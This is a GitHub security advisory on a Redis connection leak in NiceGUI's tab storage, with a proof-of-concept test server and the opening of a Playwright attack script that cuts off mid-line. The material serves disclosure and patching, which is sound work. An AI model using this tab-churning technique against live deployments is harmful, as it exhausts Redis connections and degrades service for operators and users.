GitHub Security Advisory: GHSA-mp55-g7pj-rvm2
Package: nicegui (PIP)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-772: Missing Release of Resource after Effective Lifetime
Vulnerable versions: >= 2.10.0, <= 3.4.1
Patched in: 3.5.0

Summary: NiceGUI has Redis connection leak via tab storage causes service degradation

Details:
### Summary
An unauthenticated attacker can exhaust Redis connections by repeatedly opening and closing browser tabs on any NiceGUI application using Redis-backed storage. Connections are never released, leading to service degradation when Redis hits its connection limit.
**NiceGUI continues accepting new connections - errors are logged but the app stays up with broken storage functionality.**

### Details
When a client disconnects, tab_id is cleared at https://github.com/zauberzeug/nicegui/blob/main/nicegui/client.py#L307 before delete() is called at https://github.com/zauberzeug/nicegui/blob/main/nicegui/client.py#L319. By then tab_id is None, so there's no way to find the RedisPersistentDict and call https://github.com/zauberzeug/nicegui/blob/main/nicegui/persistence/redis_persistent_dict.py#L92.

Each tab creates a RedisPersistentDict with a Redis client connection and a pubsub subscription. These are never closed, accumulating until Redis maxclients is reached.

### PoC
#### Test server (test_connection_leak.py)

```python
import os
import logging
from datetime import timedelta

import redis
from nicegui import ui, app
from nicegui.client import Client

logging.basicConfig(level=logging.WARNING, format="%(asctime)s %(levelname)s %(message)s")
logging.getLogger("leak").setLevel(logging.INFO)
log = logging.getLogger("leak")

_original_handle_disconnect = Client.handle_disconnect
_original_delete = Client.delete


def _patched_handle_disconnect(self, socket_id: str) -> None:
    tab_id_before = self.tab_id
    _original_handle_disconnect(self, socket_id)
    log.warning("disconnect: tab_id=%s cleared, tabs=%d", tab_id_before, len(app.storage._tabs))


def _patched_delete(self) -> None:
    tab_id = self.tab_id
    tabs_before = len(app.storage._tabs)
    _original_delete(self)
    log.error("delete: tab_id=%s, tabs=%d->%d", tab_id, tabs_before, len(app.storage._tabs))


Client.handle_disconnect = _patched_handle_disconnect
Client.delete = _patched_delete

_last_stats: tuple[int, int] = (0, 0)


def log_stats() -> None:
    global _last_stats
    client = redis.from_url(os.environ["NICEGUI_REDIS_URL"])
    conns = client.info("clients")["connected_clients"]
    client.close()
    tabs = len(app.storage._tabs)
    if (conns, tabs) != _last_stats:
        log.info("stats: conns=%d tabs=%d", conns, tabs)
        _last_stats = (conns, tabs)


@ui.page("/")
async def main():
    await ui.context.client.connected()
    app.storage.tab["visited"] = True
    ui.label("Check logs")
    ui.timer(interval=2.0, callback=log_stats)


if __name__ == "__main__":
    app.storage.max_tab_storage_age = timedelta(days=30).total_seconds()
    ui.run(storage_secret="test", reconnect_timeout=2.0, reload=False)
```

#### Attack script (attack_connection_leak.py)

```python
import asyncio
from playwright.async_api import async_playwright


async def attack(url: str, num_tabs: int) -> None:
    async with async_playwright() as p:
        browser = await p.chromium.launc